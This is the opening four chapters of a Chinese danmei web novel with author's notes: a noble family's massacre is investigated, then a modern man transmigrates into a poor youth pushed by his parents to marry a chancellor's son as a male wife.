《孝子贤孙》 第1章 楔子·灭门 “啧,全死了?” “是。” 林琦一身黑衣,手中还撑着一把竹青色,书卷味极重的油纸伞,看上去颇不协调。 “凶手应当是被属下们到来的动静惊扰,慌忙撤出,连放火烧院都来不及,”他道,“王大人是最后一个咽气的。” “哦,你们亲眼瞧见了?” “是。属下们赶到时,他脖颈上的血还在往外冒,人却只有出气没进气了…… “是属下等无能。”林琦屈膝欲跪,却被人托住了手臂。 “啧,林堂主说的什么话,这还能怪你们么?” 一名身着白衣,年约十七八岁的男子松开托住林琦的手,在他身前缓缓蹲下。 他拨拉了一下死不瞑目的尸体,一双颇为艳丽的丹凤眼眯了眯,忍不住流露出一抹嫌弃。 “我该庆幸真凶忌惮你们,在你们到来前撤退,否则两边打起来—— “墨翎堂绝无胜算。”他笃定道。 林琦低头不语,眼中却满是不忿。 “好了,别垂头丧气的了,墨翎堂不是什么杀手组织,只是一群走街串巷,套取情报的小老百姓,怎好叫弟兄们以身犯险,缉拿真凶?” 白衣男子站起身,拍了拍林琦的肩膀,露出一个邪气又诚挚的笑,“缉凶是官府的事嘛,咱们不过是来看看,林堂主不要对自己和弟兄们太严苛了。” 林琦松开一直紧锁的眉,嘴角勉强勾了勾,“是,三少爷海涵。” “嗯,现下离辰时还有两个时辰,既然他们没一把火烧了此处,咱们就趁夜色掩护,四处寻寻还有没有用得上的物件,尤其是往来的书信或凭证。” 白衣男子回转身,看向那满园尸体横陈,向来漫不经心的眸子暗了一瞬。 “王仪这个老王八,身居从四品太史令却不谋其事,观天文定历法没一件做得好,成天的纠结朋党祸乱朝局…… “也不知这一遭灭门,究竟是在哪儿惹了祸事,还是朋党内讧,杀人灭口啊!”白衣男子背过手,感慨道。 “三少爷,依属下看,即便不是朋党,也一定是朝廷中人。” 林琦的声音从身后幽幽传来,白衣男子挑眉回头,“林堂主有何高见?” 林琦抱拳,伞柄却丝毫未动,“属下不才,在三少爷赶到前便着人将此处查了个遍,发现一极为罕见之处—— “死者共七十二人,七十二具尸首皆被一刀封喉毙命,除此以外,再无旁的伤口。” 白衣男子微一沉吟,顿时明白了林琦的意思。 照理说偌大一个院子,人不可能站在原地被砍,即便站在原地,也很难有如此整齐划一的伤口…… 除非杀手不止一人。 且他们皆受过严苛的训练,极擅暗杀。 可他还是不解,“江湖中不也有类似的暗杀组织么,如何断定下手之人就在朝中?” “刀。” 林琦并指指向王仪血淋淋的脖子,“此伤刃面极薄,创口极小,非精铁锻造的兵器所不能致。” 说着又抽出自己的武器,让白衣男子比对,“而这七十二具尸体刀口深浅虽有不同,可从刀口的弧度上看,属下敢断定,杀人者,用的是同一制式的腰刀。” 同一制式,精铁所铸,那便不是民间私工坊或哪个山旮旯能做出来的了。 是朝廷中人啊…… 白衣男子垂眸一笑,感叹,“王仪啊王仪,你日日观星象,算天命,不知算不算得到有此一劫……” “罢了,让弟兄们先搜府吧,”他一挥手,“林堂主随我去修书一封,兹事体大,咱们要早点通知大哥,早做准备。” “是。” 林琦打着伞,亦步亦趋随白衣男子穿过中庭。 满院尸体横陈,血被游丝般的细雨不紧不慢地冲刷着,滴滴答答淌了一地,而白衣男子目不斜视径直向前,步子走得极稳当,似乎对这样血流成河的场景习以为常。 林琦倏地有些恍惚——男子对鲜血的漠然与他身上蓬勃的少年气息对比过于鲜明,叫人看得心生怵意,又生出一丝无来由的悲悯。 蓦地,白衣男子驻足而立,看向脚边几具尸身。 是一群孩子。 最大那个不过五六岁,应当是王仪家的长孙,身旁横七竖八地躺着几具年龄更小的,再往前几步趴着两名奶娘,其中一名怀里还护着一个断了气的婴儿。 白衣男子怔怔看着这一角,不知想到了什么,神情有些恍惚。 良晌,他开口,嗓子有点发紧,“七十二具尸体,都验明正身了吗?” “尚未。王家人平日里并不住在一处,只是近日天气炎热,王夫人才请了几房亲戚到府里纳凉,一时多了许多生面孔,属下等还在一一盘查。” 林琦顿了顿,“不过孩子们……倒都在此处了。” 白衣男子微一偏头,听林琦讷讷道,“兴许是为了躲避闯入房中的杀手,又或许是夏日纳凉,凑在一块嬉戏游玩……” “嗯。” 白衣男子声音有些闷,突然蹲下身去,伸手阖上了王家长孙的双眼。 男童最后一抹恐慌被那双温暖的大掌抚去,白衣男子又看了会儿,陡地皱了皱眉,似乎意识到哪里不对劲。 “你方才说,”他偏仰着头看向林琦,“王家的孩童都在此处了?” 林琦迅速蹲下同他确认,“没错。属下们在您赶来前清点过,连上那乳母怀里的,一共八具婴童尸体,全在这了。” “人数不对,”白衣男子眸光遽然一凝,“还有一个孩子。” “什么?” “王仪有个八岁的闺女,因是老来子,他十分看重,去哪儿赴宴都带着的。” 那年官家赐宴,他见过的。 啧,才八岁一个女娃娃……能上哪儿去呢? 啦啦啦,开文啦!第一周连更四章哈,第二周起每周三、周日晚9点更新,如果临时有事会请假嗷! (PS.我忘记楔子章比较短了,那周三连更两章吧,周四周五各更一章,本周任务就达成啦~感谢支持我的UU们!) 作者有话说 显示所有文的作话 第1章 楔子·灭门 第2章 这算死了还是活着? 疼,浑身都疼。 像踩在虚无的云端,身上的关节骤然没了支点,不断向下坠落。 可他怎么会在云端呢…… 段澜觉的最后一段记忆,是跟两个发小约好,一起去广西自驾游。 几个小时就到的事,没必要坐飞机。 自驾游…… 段澜觉倏地睁开了眼。 SUV撞上大货车前一秒的刹车声仿佛还在他耳边尖叫拖曳,但很快便被随之而来的撞击声吞没,只余回响荡漾在连绵不断的盘山公路间。 弹开的气囊,凹陷的车架,瞬间腾空的各种零碎和玻璃渣子,血液、尖叫、天旋地转…… 段澜觉猛地吸入一口冷气,剧烈地呛咳开来。 “咳咳咳咳咳……” 胸腔像被一口淤血堵住,他眼前黑了又黑,想抬起手捶胸顺气,却始终提不起劲儿。 “醒了!兰公子醒了!” “快去叫府医,去请夫人和贵客过来,快去!” 不知是谁将他扶了起来,手一下一下顺着他的背,又来一只手端着杯子一点一点给他喂水,还有一只攥着毛巾,给他擦汗擦脸擦嘴…… 段澜觉终于不咳了,却耗尽了所有体力,再次昏迷过去。 失去意识前,他莫名生出一个怪异的想法—— 这是请了一个蜘蛛人护工来照顾他吗? . 日上三竿,骄阳似火。 段澜觉再次醒来时,胸口的淤闷已经清除大半。 他撩起被灌了铅的眼皮,迷迷瞪瞪地看着天花板,冷不丁发现吊在自己头上的玩意儿和医院的大白墙略有不同。 不,不是略,是很,超级不同。 他眨了眨眼,试图分辩眼前模糊的景象。 没看错的话,这是由老楠木制作而成的拔步床床顶,但这床顶居然稍稍向上拱起,形成了一个穹式结构,雕花的木板通过榫卯结构根根相连,最后固定在六根床柱上,把床严严实实围成了个箱型。 人躺在其间,宛如在一口大棺材里藏了颗蚕豆米。 太诡异了。 段澜觉试图翻身打量四周,却被一张突然出现在眼前的圆麻子脸吓得心口一突,沉重的眼皮“登”一下掀开了,一句脏话几乎脱口而出。 我擦—— 没有声音。 也不算没有,但那一点点气声,很快就被那号丧般的呐喊盖过去了。 “儿,我的儿啊,你终于醒了啊!!!” 圆麻子脸鼻尖一皱,几乎是整个人扑过来压在段澜觉身上,段澜觉想躲却没劲躲,被两百斤重的胖子陡地一压—— “咳咳咳咳咳咳……” 一口气没缓上来,他再度剧烈地呛咳起来。 “你醒了就好,醒了就好!爹可要担心死你了呀……” 圆麻子脸似乎没意识到段澜觉的呛咳由他而起,还扑在他身上哭嚎着,“儿啊,你受苦了呀,为了四少爷,你可是连命都不要了啊!你若是没了,爹可怎么活下去啊……” 别,别压我,救—— 哭嚎还在持续,另一个粗糙如牛的声音又自脚边响起,由远及近。 段澜觉脑内顷刻警铃大作,下意识觉得不好,却全然无力反抗。 果不其然,下一秒,他被一个更重的躯体压了上来! “我,的,儿,呀!” 那糙牛声的吨位估计和圆麻子脸有得一拼,加起来快四百斤的俩人压得他直翻白眼,眼看着便是只有出气没有进气了。 “诶,诶呦,兰家大叔大婶,两位可不能这么压着兰公子啊,要出事的!” “快快快,快来人把二位扶起来——” 段澜觉眼前一黑一黑又一黑,在强烈的窒息中几近休克,倏忽,他身子一轻,新鲜空气随着身体的释放猛地涌入胸腔,他猛吸几口,意识终于在停摆的边沿活了过来。 妈的,人活着真是不容易啊…… 他虚弱地扭过头,正想看看是谁要取他狗命,蓦地浑身一僵,不敢动了。 ……这他娘的是什么阵仗? 眼前的景象叫他陌生无比,不是医院,也不是他熟知的任何一个地方……一排人齐刷刷地站在床前盯着他,有满脸愁容的,有面带关切的,还有扯着圆麻子脸大叔和疑似糙牛音大婶不让他们过来的…… 最搞笑的是,他们穿的都是——古装? 神经病,玩穿越梗是吧。 既然有精力搞这死出,自己应该没什么大问题,苗兰和段小续应该也没什么大碍,说不定还是这出闹剧的幕后导演。 可他实在是虚弱,没体力也没精神陪苗兰和段小续玩cosplay,只能默默翻了个白眼,继续盯着红木穹顶休养生息。 然而休养不过三秒,他的目光便不由自主地投向人群中最格格不入的一位—— 她头上戴着的,是古董? 不不不,不对。 段澜觉眯了眯眼又睁开,试图让自己的眼神聚焦,看清她头顶的发饰。 那对玉簪首一左一右伏在她鬓边,温润生辉,典雅出众,连样式都是他在书上看过的宋代缠枝莲花纹样式,指簪的玉也是书中所写的青玉。 可这青玉外壁完整无瑕,光鲜娇翠,不像是从土里挖出来的呀…… 段澜觉感觉自己有点魔怔了:不可能,这不可能是个古董。 谁会把古董戴在头顶招摇过市? 仿的吧…… 他自嘲一哂,正打算撤回自己不礼貌的目光,那位夫人却从人堆里走了出来。 “孩子,你别怕。” 夫人款款走到床前,伸出手轻柔地抚了抚段澜觉的头顶,又抚过他瘦削的颊,眼中泛出止不住的心疼。 “这儿是梁相的府邸,你很安全。我是这家中的主母大娘子,你也可以唤我为,栾夫人。” 段澜觉只觉得这夫人极其温柔,身上散发着令人安心的母性气息,同方才自称“娘亲”却往他身上猛扑的糙牛音大婶完全不同。 只是……她刚才说什么什么府? 什么冬梅? “你救了我的孩子,为此昏迷了整整三月,叫兰家大哥大嫂如此担心,是我家对不住你家。” 栾夫人有些讪讪,又觉否极泰来,双手合十,“如今你醒了,是上苍保佑,好人有好报,我对大哥大嫂总算有个交代了。” 谁,救了谁? 段澜觉此刻的心情已经不能用一头雾水来形容了,但见那位圆麻子脸大叔和糙牛声大婶整了整衣衫,川剧变脸似的一改方才深情痛哭的模样,面上的骄傲与嘚瑟连二五八万都扛不住。 圆麻子脸大叔率先发话:“夫人不必如此客气,我家兰草儿打小便是这般心慈面善,邻里邻居没人说他不好的,你便放心罢!” 你家……谁? 段澜觉困惑地看着他们,只觉自己眼珠子都要瞪出来了。 如果他没理解错的话,这个什么兰草儿,说的就是……他? 他不是段澜觉吗?谁给他改的名字?兰草谁呀? 你又是谁啊大叔??? 还没等他理出半分头绪,一旁的糙牛声大婶一掌推开大叔,径直凑到栾夫人跟前。 她脸上的笑比春天里的喇叭花还张扬,说出的话却令在场众人为之一惊—— “没错!咱家兰草儿配你家四少爷,那简直就是天造地设的一对! “所以丞相夫人呐,您答应过咱们,等兰草醒来后就到咱家去提亲一事……是不是该着手备着了?” …… 段澜觉神情有些恍惚。 他隐约觉得这段话很重要,却完全听不懂她在说什么。 不,从他醒过来那一刻起,他就没明白过……这他妈到底是在哪儿呢?这群人到底是谁啊? 苗兰呢?段小续呢?可爱的白衣天使们呢? 实在不行来个打板子的场记,告诉他这是在拍古装剧你再忍忍就能下班了也行啊! 段澜觉不动声色地打量起在场众人,目光一个一个巡过去,妄想从他们脸上找出半分演戏的痕迹,但当他看到脸色铁青的栾夫人时,他心中蓦地一沉—— 演戏而已,脸色至于那么难堪吗? 栾夫人沉默着没吭声,周围一圈人的脸色也不好看——有惊讶的,有厌恶的,还有惊讶过后转为厌恶的。 但糙牛音大婶丝毫没看在眼里,还端着笑凑近了同她商量,“这问名纳吉之事,你家比我家熟悉得多,便由你家去筹备罢,只是这彩礼一事咱们还得好好盘算一番,毕竟我儿救了你儿,这彩礼若是少了,总不好——” “那什么……诶?” 段澜觉不知道她们在说什么鬼话,只是下意识觉得应该打断糙牛音施法,否则栾夫人的脸色再沉下去,就该直接进棺材了。 可他被自己的声音吓了一跳。 怎么这么嫩,还脆生生的? 段澜觉被自己的嗓子雷得外焦里嫩,一时忘词呆如木鸡,一旁拎着药箱弓身候着的男人终于寻着机会走上前去,先检查了他的眼睑和舌苔,又将他扶起来,仔细地查看了他的后脑勺和两条腿。 “夫人,兰公子久病方醒,身子还很虚弱,脑后的伤似乎还有瘀血残留,需得好生将养着才是。” 大夫检查完,垂手躬身向栾夫人汇报,可从段澜觉视角却能窥见他撩起眼皮,冲栾夫人使了个眼色。 栾夫人如梦方醒,点点头,强自扯起嘴角冲糙牛婶笑了笑,“兰家大姐,您方才所提之事……不若还是往后稍稍,等小兰公子身子痊愈后,再作打算?” 糙牛婶明显不太满意,又扯起厚嗓和栾夫人拉扯起来。 纷纷扰扰间,段澜觉终于意识到什么,低下头打量自己。 他穿着一身纯白色的古风里衣,真丝的,左腿的裤管拉到了膝盖以上,露出由布条和夹板包扎好的一个胖墩墩的圆柱,右腿倒没拉裤管,伤的是脚踝,用白布条薄薄地缠了一圈,不算疼,看样子没什么大碍。 后脑勺有点涨涨的,听大夫的意思应该是受了重击,可他清楚记得,suv撞击货车时最先凹进去的就是他副驾驶的车门,他整个身子被弹出来的气垫死死抵住,后脑出事的话,整个头应该都保不住了。 而应该出事的地方…… 他抬起右臂,因嶙峋而显得有些苍白的手骨纤长无恙,关节更是活动自如,连个皮外伤都没有。 …… 直至这一刻,段澜觉才有了一个恍惚的认知: 这副身体,好像不是他的。 前两章走回忆杀、铺垫背景较多,请宝子们多忍两下哈! 这篇预计是百章以上的大长篇,整体节奏会慢一点,我尽力把一些走剧情的地方写得没那么无聊吧(握拳!) 注:本文中称呼已嫁为人妇的女子有两种方式,一是采用本家姓氏,二是冠夫姓,所以梁夫人和栾夫人都代指梁相的妻子栾静,不要弄错嗷~ 作者有话说 显示所有文的作话 第2章 这算死了还是活着? 第3章 邹朝风气比21世纪开放啊 段澜觉大概花了三天时间来接受自己穿越的现实。 实则他苏醒当天就反应过来了,他看着明显不属于他的纤瘦苍白的身体,看着眼前完全不认识却自称是他父母的圆麻子脸和糙牛音,还有栾夫人、大夫、穿着粗布麻衣的一群丫环小厮…… 以及这所陌生又华丽的府邸。 没错,是这间屋子叫他最终确定,他穿越了。 没有任何一个剧组能用真·老红木搭这么一个景,再财大气粗也做不到。 朱门花窗,雕梁画栋,桩桩件件都是顶级玩意儿,是合伙人苗叔看了会走不动道的那种臻品。 他自诩是个唯物主义者,连确认穿越与否都得看证据,却对“穿越”这件事本身毫无头绪,一片茫然。 穿越是个什么程序…… 他的灵魂过来了,那□□呢,死了么? 如果他死了,那段小续坐在驾驶位,有多少生存机会? 还有躺在后头,一路叽叽喳喳的苗兰……苗叔、李姨和段叔都那么大岁数了,能经得住这么大打击吗? 不行,不能再想了。 段澜觉有些痛苦地眯了眯眼,抱着膝盖将头埋进去,像一只不愿接受现实的鸵鸟。 冷静,冷静下来,想想怎么办……去他妈的怎么办! 人都穿过来了还能怎么办! 段澜觉内心“噌”地燃起一撮小火苗,越烧越旺越烧越来劲,在想到那对“父母”时到达顶峰,一下子蹿上了天。 这对夫妇到底什么毛病?脑子被门夹了还是没发育好? 不是说古代都很重视儿子的吗,谁会上赶着把儿子倒插到别家,还当什么……男妻? 段澜觉再三确认,兰大勇和朱莲立在床边朝他拼命点头,“没错,你没听错,就是男妻!” 朱莲就是那糙牛音的妇人,笑的时候嗓子里会发出“嗬——嗬——”的风洞声,听着撕心裂肺的,叫人十分难受。 可她自己毫无感觉,还冲段澜觉龇牙咧嘴,笑得眼睛都眯起来了。 “儿啊,一切都是上天注定的缘分呐!你救了梁家四少爷,攀上了大相公府,这是何等的殊荣,是多少人三辈子都求不来的福分呐!” 这段话叫段澜觉听着十分刺耳,他皱眉推拒,“可我……压根不记得我救过他,我连自己姓甚名谁,父母出身都不记得了,怎么能随随便便——” “你记不记得不重要,梁家人记得不就好了?” 朱莲捞起他的手,放到自己粗糙的手心里使劲搓了搓,“草儿啊,咱家家徒四壁,从前过的都是苦日子,你如今忘了是好事,是老天爷开眼啊!” “但你要谨记一点!爹娘终究是你的爹娘,咱们还能害你不成?” ……草儿又是什么鬼? 段澜觉一脸被雷劈了的样子,脑子转了半天没转过来,半晌才挤出一句,“让梁家报恩的方式有很多种吧……非要当什么,什么男妻——” “一定,当然一定!” 朱莲突然高呼起来,嗓子像被骤然拉劈叉的风箱,又糙又尖刺得人耳膜发酸,“千金买不来梁家少夫人的身份,你懂什么?!” 段澜觉猛地被这一嗓子唬住,不敢再吱声了。 但见朱莲吼了他之后又软下劲来,坐在他身旁苦口婆心道,“我的傻儿子哟,房产地契也好,金银珠宝也罢,哪比得上梁家少夫人的身份尊贵啊……傍上梁家,意味着泼天的富贵,享不尽的荣华,这么简单的账,你怎么就算不明白呢?” 一旁的圆麻子脸——这副身体的老爹兰大勇也上前附和,“听你娘的准没错!” “咱们都同栾夫人商量好了,等你身子彻底康复,就把亲事落定,”他碎碎念着,眼睛里射出万分期待的光芒,“你什么都不必做,擎等着当新娘子,风风光光地嫁入梁家就好!” 商量好了……么? 段澜觉想起栾夫人的脸色,对这句话深表怀疑,却也懒得再反驳。 一旁的朱莲见他不语,以为他被说动了,又置换上一张笑脸,趁热打铁道,“你别多想,虽说是做男妻,传出去是不好听,可那些背后嚼舌根的不知有多么羡慕你呢!” “是啊,”兰大勇接连捧哏,“要说也巧了,梁家少爷就喜欢带把的,你正巧是个带把的,不然你妹妹——” “哎呀说这些做什么!” 朱莲横眉冷竖,打断了兰大勇的絮叨,又端起笑安抚段澜觉,“总之,都是缘分,也是你的福分!” …… 三天过去,段澜觉每每回忆起这场聊天的内容,都觉身心俱疲,无奈之余还有些好笑。 怎么小说里的人能穿到清朝去见证历史甚至改变历史,他就只能穿到这个——不知从哪条时间岔道上辟出来的“邹朝”? 最好笑的是,这个大邹朝男风盛行,同性恋好像根本不算事儿,比21世纪还开放。 梁大人作为一人之下万人之上的右丞相,竟然能允许嫡子娶男妻,还是娶一个家徒四壁,目不识字的白丁? 行吧,命运大老爷,你开心就好。 段澜觉向来是个不怎么内耗的人,日子有苦有甜,总带着心事过没意思,还不如过到哪儿算哪。 他松开身体仰面躺下来,舒坦地伸了个懒腰,看着床顶的雕花发呆——他原以为这副身体伤得挺重,但夹板一拆又觉得没什么了,他学滑雪那会儿撞了个粉碎性骨折,伤得好像还更重些? 可既然伤得不重,原主的三魂六魄又是飞到哪儿?脑死亡了吗? 原主,原身,原神启动……够了! 段澜觉迷迷瞪瞪间一抖,把自己吓了一大跳。 怪不得李婶总说他心大得能装下整个洱海,这一天天的都在想什么呢? 醒醒吧小段,你穿越了啊!你穿到封建社会了啊!你要给人家当男妻了啊! 你要□□了啊!!! 段澜觉想到这顿时雏菊一紧,说什么也睡不着了,索性起身,趔趔趄趄地朝床头走去。 床头备着一张轮椅,这轮椅据说是梁家二少爷送给他的谢礼,看上去有模有样的,款式颇为精致。 轮子上不知道裹了什么草,摸起来一点也不剌手,而且轴承和榫接结构特别丝滑,滚动起来没有那种“咯吱咯吱”的生涩感。 段澜觉坐定后滚起轮子,慢悠悠地挪到房门后面,“吱呀”一声拉开了房门。 院中仆奴应声抬头,接二连三露出惶恐的神色。 “兰公子?” “见过兰公子!” “兰公子怎地自己出来了?” “呃……” 段澜觉不知道门后有这么多人,更没经历过万人瞩目的场景,心里霎时有些发怵。 离他最近的一名小厮反应极快,扔下笤帚便向他跑来,“咚”一声跪倒在他跟前。 “小的该死,没听见兰公子起床的动静,让公子受罪了!” 卧槽? 段澜觉还是低估了古人的一惊一乍,连忙弓身扶人,“你快起来,我没受罪,你千万别跪我!” “是小的伺候不周,小的甘愿领罚,请兰公子责罚小的!” 这下好了,此言一出,满院的仆奴都反应过来了,呼啦啦跪倒了一片。 “小的们伺候不周!” “请兰公子责罚小的们!” “……” 段澜觉脑袋都大了,脸上还要端出一副镇定的模样,“都起来,有话好好说……我就想出来透透气,你们忙你们的就好,我自己能走,何苦要劳烦你们?” “那怎么行!” 那小厮看着段澜觉,眼圈都红了,“兰公子若有什么需要,尽管吩咐小的们就行,您伤筋动骨还不满百日,若随意走动落下病根,小的们可真万死莫辞了。” “不会吧,我觉得我恢复得挺好的呀……” 段澜觉扯了扯嘴角,心知自己今天是扶不起这犟脾气的小厮了,眼珠一转,计上心头。 “那不然……你陪我去逛逛?” “逛?”小厮没回过神,“公子要去哪儿?” “不去哪儿,就随便逛,”段澜觉见有转机,连忙扯了扯他的衣袖,乐呵呵道,“你推我去哪我就去哪儿,不挑,只要让我透透气就行。” “……好,那小的便推您出院走走。” “嗯!” 奴仆们终于三三两两跟着起身,段澜觉松了口气,任由这小厮推着他出了院。 也行吧,有个人推着,省得他人生路不熟还要到处问路了。 梁府不愧是丞相家的府邸,占地面积极大,假山和湖水交相辉映,亭台楼阁一步一景,美得叫人心神俱震。 段澜觉穿过来这么久,今日才得见梁府的冰山一角,在这古色古香的园林风景中逐渐忘了那些烦心事,彻头彻尾放松下来。 他猛地吸了口新鲜空气,脑内混沌一扫而空。 “走,再往前看看。” “是。” 小厮推着段澜觉七拐八拐,顺着石板路走到一处开阔的园子。 园子中庭卧着一块明镜般椭圆形的湖泊,上面疏疏散散地浮着几只大白鹅,浅滩处还立着一对互相梳理羽毛的丹顶鹤。 一顶八角亭如春笋般伫立湖心,与那双丹顶鹤遥相呼应,亭上牌匾十分应景地写着三个大字——“观鹤亭”。 段澜觉觉得这儿景最好,令小厮在湖边停下,饶有兴致地看那两只丹顶鹤亲嘴,又看了会儿大白鹅菜鹅互啄,嘴角不知不觉浮起一抹微笑。 不知过了多久,站在他身后安静如鸡的小厮突然开口。 “兰公子,您知道……夫人正在筹办一场谢恩宴吗?” 久等,今天带大家游大观园(Bushi,游梁府了。 依旧是偏背景介绍的一章,但攻下一章就出场了,燥侯。 作者有话说 显示所有文的作话 第3章 邹朝风气比21世纪开放啊 第4章 遇见了一个好奇怪的人 “谢恩宴?” 段澜觉仰高了头,对着小厮的下巴眨了眨眼,“是要请我吃饭?” “设宴自然是为了答谢您,也少不了宴请兰家老爷和夫人,届时阖家欢庆,少爷和少夫人凡在府里,都会出席的。” “哦……那请呗。”段澜觉不以为意。 小厮顿了顿,突然绕到他身侧,压低声音道,“小的听闻,兰家夫人最近缠咱们夫人缠得紧,怕是要在此宴上……将公子和四少爷的婚事,定下来呢。” “啥???” 段澜觉倏忽坐直了身体,眼睛瞪得如铜铃一般,“这么快?不是说——” “嘘!” 小厮左顾右盼,见四下无人连忙蹲下,做出祈求的姿态,“公子行行好,若让人知晓小的妄议此事,小的便活不成了。” “好好好,我小点儿声……” 段澜觉没想到事情发展得如此迅速,心里也有些焦躁,“可我的伤还没好啊,不是说等我伤彻底好了,再上我家去提亲吗?” 他都想好了,实在不行他就一直装瘸,拖得一天是一天,那梁家虽然欠了他的,总不见得要娶一个瘸腿的媳妇吧? 可他真低估了兰大勇和朱莲把他“嫁”出去的决心,也高估了栾夫人对这门婚事的嫌弃。 小厮缓缓摇了摇头,“小的只是个奴才,能打听的十分有限,本不该拿到兰公子面前搬唇弄舌的,只是小的见您连日来在房里闷闷不乐,愁眉不展,想是为了什么事苦恼,便想着,让您多知道些也是好的。” “是是是,你很机灵,你太给力了!” 段澜觉知道这种高门大户里全是人精,给鸡撒把米说不定都能去写申论,可真遇上耳聪目明还偏帮自己的仆奴,也算是老天开眼,撞了大运。 他沉吟片刻,抬眼便换上一张诚恳的笑脸,“这位小哥,你……怎么称呼?” 小厮微怔,倏地一乐,“兰公子不必这般客气,叫我四喜就好。” “四喜啊,好有福的名字!” 段澜觉笑得眯了眯眼,“我问你啊,在我昏迷这段日子里,你家四少爷有来看过我吗?” “有,”四喜点头,“公子是少爷的恩人,少爷一得空便会来看您,只是——” “只是什么?” “只是不知怎的,自兰家老爷夫人入府后,四少爷便鲜少露面了,只是时不时还会派人送东西到您院里……四少爷,心里还是惦记您的。” “呵呵。” 段澜觉心下了然——还能是为什么,当然是因为人家不愿意娶他啊! 他苦笑三声,低头叹气,一边在心里骂娘一边思考着破局的对策,忽听湖对岸传来一阵骚动,丹顶鹤引吭而歌,夫妻对唱数秒后竟齐齐向蓝天飞去。 段澜觉抬眼,只见隔湖的一道月牙门里,一队精壮家丁正挑着水鱼贯而出。 他们赤着上膊,个个被晒得黝黑锃亮,两个比冬瓜还大的木桶把肩上扁担压出一道弧线,却丝毫没影响他们绕着湖向前迈进的步伐。 段澜觉闲久了看什么都有意思,他短暂忘却了刚才的烦恼,微微探出身饶有兴致地看着,却不想亲眼目睹了末尾一人偷懒的全过程。 这人落在最后也就算了,竟敢不跟着大队伍绕圈走,而是踩着水上的装饰石板,走直线横穿湖面? 嘿,丞相家也有摸鱼的哈! 可摸鱼就摸鱼吧,段澜觉眼瞅着这人直奔自己而来,心跳忽然开始加速—— 妈的,社交障碍犯了。 也不能怪他,这几天见的生人太多,还一个比一个闹心,骤然看到一个雄性激素拉满的猛男靠过来,他能不怂吗? 段澜觉下意识摇动轮椅后退,却不料四喜早已起身,像根柱子一般正杵在他后头。 这一退,偌大的车轮正好从四喜的脚背上碾过,四喜哼了一声,段澜觉应声回头—— “我靠,对不起对不起,你没事吧!” 他即刻反滚向前,轮子却卡着四喜的裤腿,怎么也摇不动了。 “嘶——” 轮子似乎压在了四喜最脆弱的趾骨上,段澜觉瞧着他扭曲的表情,心知再不起来他的脚就该废了。 电光石火间,段澜觉来不及深思,握着轮椅向上一抬—— 轮椅后方离地,终于将四喜的脚释放了出来。 可下一秒他便不受控制地向前扑去。 ……完了,要狗啃屎了。 段澜觉闭上眼拧着眉,准备迎接和晒成铁板的地面进行一场亲密会晤之际,一双汗涔涔的,孔武有力的臂膀接住了他。 悬空的身体顿时有了支点,段澜觉惊魂未定,整个人挂在赤果果的肩膊上大口喘气,好一会儿才回过神来。 他稍稍支起身子,目光顺着男人发达的背脊肌向下滑,收拢于那道精壮有力的窄腰间。 好腰。 是段小续到健身房练一年都练不出的蚂蚁腰。 男人似乎觉察他在打量自己,稍微动了动,段澜觉立即触发道谢机制,“刚刚真吓死我了,谢谢你诶诶诶诶——” 一阵失重的感觉袭来,段澜觉五官倒置,身体腾空,一句话没说完半句话劈了岔。 怎么回事,他是被人整个扛起来了? 这是要干嘛? 还没等段澜觉开始挣扎,男人已经将他重新安置在轮椅上,他迅速向后一靠,离开那个热气腾腾的怀抱,也猝不及防与男人打了个照面。 最先映入眼帘的,是一双沉郁幽深的眸。 诶,是摸鱼哥? 近看之下,这人还……挺帅的? 段澜觉以自己多年扫货看货的本事迅速扫描了他的脸——剑眉利落,鼻梁高挺,一双狭长的丹凤眼中沉淀着冷淡的墨色,一看就是不好说话的刺头。 但好在他下唇中庭微厚,中和了面相的寡情,且这人刚刚救了自己,段澜觉抬眼看他,莫名便觉出三分面善与平易近人来。 但很可惜,这“平易近人”多半是段澜觉幻想出来的。 那人自始至终冷着脸,左右打量了段澜觉一下,确认他身上没有别的伤便挺直了背。 段澜觉只觉一座山在他眼前拔地而起——这人他喵的有多高啊?一米八五?一米九? 男人同他对视了一会儿才向后瞥了瞥,他一愣,耳畔传来四喜低低的叫唤声。 段澜觉猛一回头,惊觉四喜已经坐在地上,一边揉着脚一边紧锁眉关,神情痛楚。 “四喜!” 段澜觉惊呼着,摇着轮椅艰难转身,磕磕绊绊滑到四喜跟前,不顾三七二十一弯腰脱了四喜的鞋,将他的脚托到自己腿上。 “我靠,肿这么老高……”他扭了扭踝关节,“这样疼吗?” “还好。”四喜慌了一瞬,连忙缩腿,“公子您别——” “别动,也别吵!” 他又捏了捏其他地方,“这里呢?” “……不疼。” “你动动脚趾,能动吗?” “……能。” “行,就中间疼是吧,”段澜觉轻轻放下他的脚,舒了口气,“应该是软组织挫伤,还好骨头没断,回去上点药养养就行。 “这段时间你就别干活了,那么小个院子还天天来一堆人打扫,没必要。” 四喜抬眼看他,泪花攒动,不知是感动还是感激,“是,多谢公子。”又急道,“公子脏了手,快去洗洗吧,我——” “嗨,大老爷们哪儿这么多讲究!” 段澜觉直起身,手在衣裳上擦了擦,不在意地笑了笑,忽然想起还没跟摸鱼哥道谢,遂一转头——那人已经挑上扁担 ,从湖心往这边不紧不慢地走来。 嘿,说他摸鱼吧,这还挺勤奋,刚救完人又挑上水了。 段澜觉憋着笑看他,倏忽笑容一窒——等会儿,这人是在短短一秒内安置好水桶,从湖心飞扑过来,然后正正好接住他吗? 卧槽这什么水平?世外高手还是梁府扫地僧? 男人小麦色的皮肤在日头的灼烤下愈发油亮,他稳步向前,如履平地,实则脚底石板才两寸见方,且这些石板晃晃悠悠,也不知是怎么固定在湖面上的,跟21世纪打了钢筋水泥的石墩子根本没法比。 水波偶尔漫过石板,石面被冲刷得又滑又湿,男人眼视前方,肩膀几乎不曾晃动,桶里的水更是平静无澜。 还有一步便可上岸,他抬脚向前,却被一个清脆爽朗的声音乱了心神。 “兄弟——” 桶里的水漾开一圈涟漪,很快便平复下来。 男人撩起眼皮,轮椅上的人巧笑倩兮,冲他高举双臂,打了个热情的招呼。 段澜觉还是不习惯自己的声音变得这么脆灵灵的,他清了清嗓子,踩在男人上岸的节骨眼又喊了声“你来一下”,丝毫没察觉身旁的四喜陡然绷紧了身躯,从牙缝间挤出一声“四——” 男人上了岸,终于停下脚,段澜觉赶紧比着古人的礼仪,在轮椅上向他拱手一福。 “今天真是谢谢兄弟了,要没你在,我肯定得摔个狗啃屎,服侍我的小兄弟也至少落下个骨折。 “我叫段……兰草,”段澜觉差点咬着舌头,“呃,兄弟你怎么称呼?” 男人睨着他,两道干净的剑眉衬出一张刀削斧凿的脸,在段澜觉话音落下数秒才道,“不必客气。” 